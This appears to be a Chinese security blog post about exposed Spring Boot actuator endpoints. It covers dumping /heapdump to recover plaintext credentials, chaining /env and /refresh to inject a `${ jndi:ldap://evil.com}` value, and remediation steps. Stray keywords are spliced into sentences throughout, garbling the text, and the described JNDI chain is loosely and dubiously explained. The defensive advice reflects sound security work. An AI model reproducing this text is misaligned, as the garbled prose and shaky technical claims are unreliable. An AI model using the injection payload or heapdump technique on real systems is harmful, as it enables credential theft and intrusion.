SpringBoot的集成actuator端点一旦裸奔在公网，等于把家底全亮给黑客看。环境这不是信息泄露危言耸听，我上周刚用三个请求拿下一台测试服务器的漏洞数据库密码。你猜怎么着？集成对方连防火墙规则都没配，直接暴露了/env和/heapdump。环境

先说说POC怎么打。信息泄露最经典的漏洞组合拳是访问`/actuator/heapdump`，这个端点会导出一份JVM堆内存快照。集成文件大小动辄几百MB，环境但别嫌大，信息泄露里面藏着宝贝。漏洞用Eclipse MAT或者JDK自带的集成jhat工具一分析，字符串常量池里全是环境明文配置——数据库账号、Redis密码、信息泄露甚至云厂商的SecretKey。我见过最离谱的一次，某甲方把阿里云AccessKey直接写在`application.yml`里，堆dump里连空格都没多一个。

另一个路子是`/actuator/env`加上`/actuator/refresh`的组合。前者能列出所有环境变量，后者配合POST请求可以动态修改配置。有人可能觉得这俩端点分开没啥用，但串联起来就是任意配置覆盖。比如你把`spring.datasource.password`改成`${ jndi:ldap://evil.com}`，再触发refresh，应用就会去连你的恶意LDAP服务器。虽然高版本SpringBoot对JNDI有防护，但低版本或者没打补丁的系统照样中招。

修复方案其实不复杂，但就是有人不当回事。第一，把actuator端点从公网摘掉，只绑内网IP。第二，如果非要暴露，至少设置`management.endpoints.web.exposure.include=health,info`这种白名单，别图省事写个`*`。第三，加上Spring Security的认证，哪怕用户名密码是admin/123456都比裸奔强——起码能挡住批量扫描的脚本小子。

说句掏心窝的话，这类漏洞最坑的地方不是技术门槛高，而是开发团队对默认配置的漠视。SpringBoot官方文档明确写了生产环境要限制端点暴露，但很多项目上线时压根没改过配置。你翻翻那些被曝光的案例，十有八九是开发环境直接搬到生产，连`application-dev.yml`都没换。这种习惯不改，今天堵住heapdump，明天还能给你整出个`/actuator/logfile`泄露日志。

最后提醒一句，POC打之前先确认目标是否授权。别看我演示得轻松，真拿公网IP试那是要吃牢饭的。安全测试的边界感比技术本身更重要——这行干久了，见过太多同行栽在“手痒”上。